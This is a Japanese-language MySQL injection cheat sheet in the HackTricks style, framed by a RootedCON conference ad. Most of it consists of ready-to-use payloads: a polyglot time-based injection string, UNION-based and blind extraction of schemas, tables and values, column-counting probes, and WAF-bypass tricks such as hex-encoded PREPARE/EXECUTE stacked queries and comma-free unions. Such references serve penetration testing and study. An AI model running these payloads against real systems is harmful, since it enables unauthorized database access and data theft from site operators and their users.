RootedCON は、スペイン で最も重要なサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術知識の促進 を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
コメント
Copy -- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3 . 23 . 02
興味深い関数
Confirm Mysql:
Copy concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
有用な関数
Copy SELECT hex( database ())
SELECT conv(hex( database ()), 16 , 10 ) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE( 'cleartext' , 'PWD' ), 'PWD' )# Encode() & decpde() returns only numbers
SELECT uncompress( compress ( database ())) #Compress & uncompress() returns only numbers
SELECT replace ( database (), "r" , "R" )
SELECT substr( database (), 1 , 1 ) = 'r'
SELECT substring ( database (), 1 , 1 ) = 0x72
SELECT ascii ( substring ( database (), 1 , 1 )) = 114
SELECT database () =char ( 114 , 101 , 120 , 116 , 101 , 115 , 116 , 101 , 114 )
SELECT group_concat( < COLUMN > ) FROM <TABLE>
SELECT group_concat( if (strcmp(table_schema, database ()),table_name, null ))
SELECT group_concat( CASE (table_schema) When ( database ()) Then (table_name) END )
strcmp(),mid(),,ldap(),rdap(), left (),rigth(),instr(),sleep()
すべてのインジェクション
Copy SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|" XOR( IF (SUBSTR(@@ version , 1 , 1 ) < 5 ,BENCHMARK( 2000000 ,SHA1(0xDE7EC71F1)),SLEEP( 1 ))) OR "*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
フロー
「現代」のMySQL のバージョンでは、"information_schema.tables "を"mysql.innodb_table_stats "に置き換えることができることを覚えておいてください(これはWAFを回避するのに役立つかもしれません)。
Copy SELECT table_name FROM information_schema.tables WHERE table_schema =database ();# Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name = "<TABLE_NAME>" ; # Get name of the columns of the table
SELECT < COLUMN1 > , < COLUMN2 > FROM < TABLE_NAME > ; # Get values
SELECT user FROM mysql.user WHERE file_priv = 'Y' ; #Users with file privileges
値が1つだけ
盲目的に1つずつ
substr(version(),X,1)='r'
または substring(version(),X,1)=0x70
または ascii(substr(version(),X,1))=112
盲目的に追加
LPAD(version(),1...lenght(version()),'1')='asd'...
RPAD(version(),1...lenght(version()),'1')='asd'...
SELECT RIGHT(version(),1...lenght(version()))='asd'...
SELECT LEFT(version(),1...lenght(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
列の数を検出
単純なORDERを使用して
Copy order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL ユニオンベース
Copy UniOn Select 1 , 2 , 3 , 4 ,...,gRoUp_cOncaT(0x7c,schema_name,0x7c) +fRoM+ information_schema.schemata
UniOn Select 1 , 2 , 3 , 4 ,...,gRoUp_cOncaT(0x7c,table_name,0x7C) +fRoM+ information_schema.tables +wHeRe+ table_schema = ...
UniOn Select 1 , 2 , 3 , 4 ,...,gRoUp_cOncaT(0x7c,column_name,0x7C) +fRoM+ information_schema.columns +wHeRe+ table_name = ...
UniOn Select 1 , 2 , 3 , 4 ,...,gRoUp_cOncaT(0x7c, data ,0x7C) +fRoM+ ...
SSRF
ここで、 Mysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます 。
WAFバイパストリック
準備されたステートメントを通じてクエリを実行する
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当て(SETを使用)、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。次のようなものです:
Copy 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
For more information please refer to this blog post .
Information_schema alternatives
「現代」のMySQL のバージョンでは、information_schema.tables を mysql.innodb_table_stats や sys.x$schema_flattened_keys 、またはsys.schema_table_statistics に置き換えることができることを覚えておいてください。
MySQLinjection without COMMAS
カンマを使用せずに2つの列を選択します(https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma ):
Copy -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
列名なしで値を取得する
もしある時点でテーブルの名前はわかっているが、テーブル内の列の名前がわからない場合、次のようなコマンドを実行して、列の数を調べることができます:
Copy # When a True is returned, you have found the number of columns
select (select "" , "" ) = ( SELECT * from demo limit 1 ); # 2columns
select (select "" , "" , "" ) < ( SELECT * from demo limit 1 ); # 3columns
2つの列があると仮定します(最初の列がIDで、もう1つがフラグです)。フラグの内容を文字ごとにブルートフォースしてみることができます:
Copy # When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf' ) = ( SELECT * from demo limit 1 );
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
MySQLの歴史
MySQL内で他の実行を確認するには、テーブルを読み取ります: sys.x$statement_analysis
バージョンの代替s
Copy mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
他のMYSQLインジェクションガイド
参考文献
RootedCON は スペイン で最も関連性の高いサイバーセキュリティイベントであり、 ヨーロッパ で最も重要なイベントの一つです。 技術的知識の促進 を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。